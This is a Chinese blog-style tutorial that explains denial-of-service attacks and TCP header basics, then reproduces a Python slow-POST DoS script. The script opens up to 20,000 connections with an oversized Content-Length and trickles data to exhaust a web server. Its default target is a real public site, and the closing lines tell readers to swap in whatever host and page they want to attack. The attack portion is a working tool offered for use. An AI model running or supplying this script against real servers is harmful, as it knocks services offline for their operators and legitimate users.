dos攻击原理及攻击实例

DoS是Denial of Service的简称，即拒绝服务，造成DoS的攻击行为被称为DoS攻击，其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源，目的是让目标计算机或网络无法提供正常的服务或资源访问，使目标系统服务系统停止响应甚至崩溃，而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽，文件系统空间容量，开放的进程或者允许的连接。这种攻击会导致资源的匮乏，无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。

已经有很多介绍DOS（Denial of Service，即拒绝服务）攻击的文章，但是，多数人还是不知道DOS到底是什么，它到底是怎么实现的。本文主要介绍DOS的机理和常见的实施方法。因前段时间仔细了解了TCP/IP协议以及RFC文档，有点心得。同时，文中有部分内容参考了Shaft的文章翻译而得。要想了解DOS攻击得实现机理，必须对TCP有一定的了解。

1、什么是DOS攻击

DOS：即Denial Of Service，拒绝服务的缩写，可不能认为是微软的dos操作系统了。好象在5·1的时候闹过这样的笑话。拒绝服务，就相当于必胜客在客满的时候不再让人进去一样，呵呵，你想吃馅饼，就必须在门口等吧。DOS攻击即让目标机器停止提供服务或资源访问。

2、有关TCP协议的东西

TCP（transmission control protocol，传输控制协议），是用来在不可靠的因特网上提供可靠的、端到端的字节流通讯协议，在RFC793中有正式定义，还有一些解决错误的东西在RFC 1122中有记录，RFC 1323则有TCP的功能扩展。我们常见到的TCP/IP协议中，IP层不保证将数据报正确传送到目的地，TCP则从本地机器接受用户的数据流，将其分成不超过64K字节的数据片段，将每个数据片段作为单独的IP数据包发送出去，最后在目的地机器中再组合成完整的字节流，TCP协议必须保证可靠性。

发送和接收方的TCP传输以数据段的形式交换数据，一个数据段包括一个固定的20字节，加上可选部分，后面再跟上数据，TCP协议从发送方传送一个数据段的时候，还要启动计时器，当数据段到达目的地后，接收方还要发送回一个数据段，其中有一个确认序号，它等于希望收到的下一个数据段的顺序号，如果计时器在确认信息到达前超时了，发送方会重新发送这个数据段。

上面，我们总体上了解一点TCP协议，重要的是要熟悉TCP的数据头（header）。因为数据流的传输最重要的就是header里面的东西，至于发送的数据，只是header附带上的。客户端和服务端的服务响应就是同header里面的数据相关，两端的信息交流和交换是根据header中的内容实施的，因此，要实现DOS，就必须对header中的内容非常熟悉。

dos攻击原理及攻击实例

dos攻击原理：DoS攻击就是利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务的响应。（百度百科说的，大概就是这么个意思）。

dos攻击与ddos攻击的区别就是，它是一对一的攻击，而ddos是分布式的攻击，作为入门，作为菜鸟，我们他妈哪里有那么多肉鸡给你用。。。所以不过对付一些带宽小，内存低，cpu渣的小型web服务器还是ok的。

现在，废话不多说，本地搭建一个web站点测试一下。

测试地址：http://192.168.1.110/cloudmanage/admin.php#（本地的）

测试脚本：网上一堆。给大家转载一个，如下：

#！/usr/bin/env python

import socket

import time

import threading

#Pressure Test，ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST=“www.baidu.com”

PAGE=“/index.php”

#---------------------------

buf=（“POST %s HTTP/1.1\r\n”

“Host： %s\r\n”

“Content-Length： 10000000\r\n”

“Cookie： dklkt_dos_test\r\n”

“\r\n” % （PAGE，HOST））

socks=［］

def conn_thread（）：

global socks

for i in range（0，MAX_CONN）：

s=socket.socket（socket.AF_INET，socket.SOCK_STREAM）

try：

s.connect（（HOST，PORT））

s.send（buf）

print “Send buf OK！，conn=%d\n”%i

socks.append（s）

except Exception，ex：

print “Could not connect to server or send error：%s”%ex

time.sleep（10）

#end def

def send_thread（）：

global socks

while True：

for s in socks：

try：

s.send（“f”）

#print “send OK！”

except Exception，ex：

print “Send Exception：%s\n”%ex

socks.remove（s）

s.close（）

time.sleep（1）

#end def

conn_th=threading.Thread（target=conn_thread，args=（））

send_th=threading.Thread（target=send_thread，args=（））

conn_th.start（）

send_th.start（）

脚本来源是：http://blog.csdn.net/jeepxiaozi/article/details/8799684

以上是一个python脚本。

HOST=“www.baidu.com”

PAGE=“/index.php”

我们要改的是这两处地方

改为：

HOST=“192.168.1.110”//你要撸的主机ip地址/域名

PAGE=“/cloudmanage/admin.php”//你要撸的页面

cmd命令行下执行脚本